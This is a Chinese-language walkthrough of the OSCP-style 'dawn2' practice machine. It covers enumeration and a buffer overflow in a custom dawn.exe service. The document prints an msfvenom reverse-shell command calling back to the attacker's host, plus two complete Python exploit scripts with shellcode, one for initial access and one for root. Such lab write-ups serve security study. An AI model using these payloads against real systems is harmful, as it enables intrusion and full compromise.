OSCP系列靶机—dawn2

一、主机发现

image-20240726205020608

二、端口扫描

1、快速扫描

image-20240726205044350

2、全端口扫描

image-20240726205254304

3、服务版本探测

image-20240726205342068

4、漏洞探测

image-20240726205652735

几乎没什么发现

三、HTTP信息收集

1、首页及源代码

image-20240726205552603

这里给了一个zip 的压缩包

image-20240726205628385

2、dawn.zip信息收集

image-20240726205746749

有个exe跟README.txt文件

image-20240726205848246

昂?DAWN Multi 服务的客户端;由于是exe,放在我的本机尝试执行

image-20240726210314566

没懂啥意思,查了一下DAWN Multi Server 的相关信息

DAWN Multi Server 是一个多功能服务器解决方案,具备多种服务功能。以下是一些关键点:

  1. 邮件服务器:提供企业邮局服务。
  2. DNS服务器:负责域名解析。
  3. FTP服务器:用于文件传输。
  4. 路由器和NAT防火墙:提供网络路由和安全防护。
  5. DHCP服务器:动态分配IP地址。
  6. 网站服务器:支持PHP和MySQL,可以搭建网站。
  7. 代理服务器:提供网络代理服务。
  8. NFS网络文件服务器:用于文件共享。
  9. Samba跨平台文件服务器:支持跨平台文件共享。
  10. BBS网站:提供论坛服务,架构为PHP+MySQL。

搜索一下有关该服务的漏洞

image-20240726211234318

在查看链接之后,很显然不是我们需要的

3、目录扫描

image-20240726210743593

啥也没

4、dawn.exe折腾

最后还是回归这个dawn.exe

image-20240726212120572

他一直处于一种监听的模式,尝试用nc 去连接他;我们需要知道它监听的端口是哪个,这个查找方式有很多

image-20240726212528625

找到这个程序将会监听在1985,而凑巧的是,靶机的这个端口开放且在监听;使用nc 尝试端口连接

image-20240726212827414

似乎有反应,尝试编写脚本

image-20240726215142768

噢,有点反应,继续尝试;继续尝试,发现它经常性的卡壳,就如同README.txt写的那样

image-20240726220500965

四、Getshell

最后我们需要搞出来msf 的payload,之后去加载执行

1
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.101 LPORT=8888 -f c -b '\x00' EXITFUNC=thread

payload,替换buff和ip、端口即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python2
import socket

buff = ("\xda\xde\xd9\x74\x24\xf4\x58\xbe\x7f\x77\xb1\x99\x2b\xc9"
"\xb1\x12\x31\x70\x17\x03\x70\x17\x83\x97\x8b\x53\x6c\x56"
"\xaf\x63\x6c\xcb\x0c\xdf\x19\xe9\x1b\x3e\x6d\x8b\xd6\x41"
"\x1d\x0a\x59\x7e\xef\x2c\xd0\xf8\x16\x44\x23\x52\xd0\xf1"
"\xcb\xa1\x21\xdb\xb3\x2f\xc0\xab\xa2\x7f\x52\x98\x99\x83"
"\xdd\xff\x13\x03\x8f\x97\xc5\x2b\x43\x0f\x72\x1b\x8c\xad"
"\xeb\xea\x31\x63\xbf\x65\x54\x33\x34\xbb\x17")

payload = "A" * 272 + "\x77\x17\x58\x34" + "\x90" * 32 + buff + "\x00"

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.105', 1985))
s.send(payload)
s.close()
print("payload send successfully")
except Exception as e:
print(e)
print("error")

成功getshell

image-20240726223809041

五、权限提升

1、信息收集

image-20240726224305145

有一个跟dawn.exe 差不多的全root的dawn-BETA.exe 文件欸

下载到本地尝试执行

image-20240726224634962

跟哪个dawn.exe 一样欸,看监听在哪个端口

image-20240726224945062

1435,看来是剩下的那个端口,用同样方法再来一遍即可提权到root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python2
import socket

buff = ("\xda\xde\xd9\x74\x24\xf4\x58\xbe\x7f\x77\xb1\x99\x2b\xc9"
"\xb1\x12\x31\x70\x17\x03\x70\x17\x83\x97\x8b\x53\x6c\x56"
"\xaf\x63\x6c\xcb\x0c\xdf\x19\xe9\x1b\x3e\x6d\x8b\xd6\x41"
"\x1d\x0a\x59\x7e\xef\x2c\xd0\xf8\x16\x44\x23\x52\xd0\xf1"
"\xcb\xa1\x21\xdb\xb3\x2f\xc0\xab\xa2\x7f\x52\x98\x99\x83"
"\xdd\xff\x13\x03\x8f\x97\xc5\x2b\x43\x0f\x72\x1b\x8c\xad"
"\xeb\xea\x31\x63\xbf\x65\x54\x33\x34\xbb\x17")

payload = "A" * 272 + "\x77\x17\x58\x34" + "\x90" * 32 + buff + "\x00"

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.105', 1435))
s.send(payload)
s.close()
print("payload send successfully")
except Exception as e:
print(e)
print("error")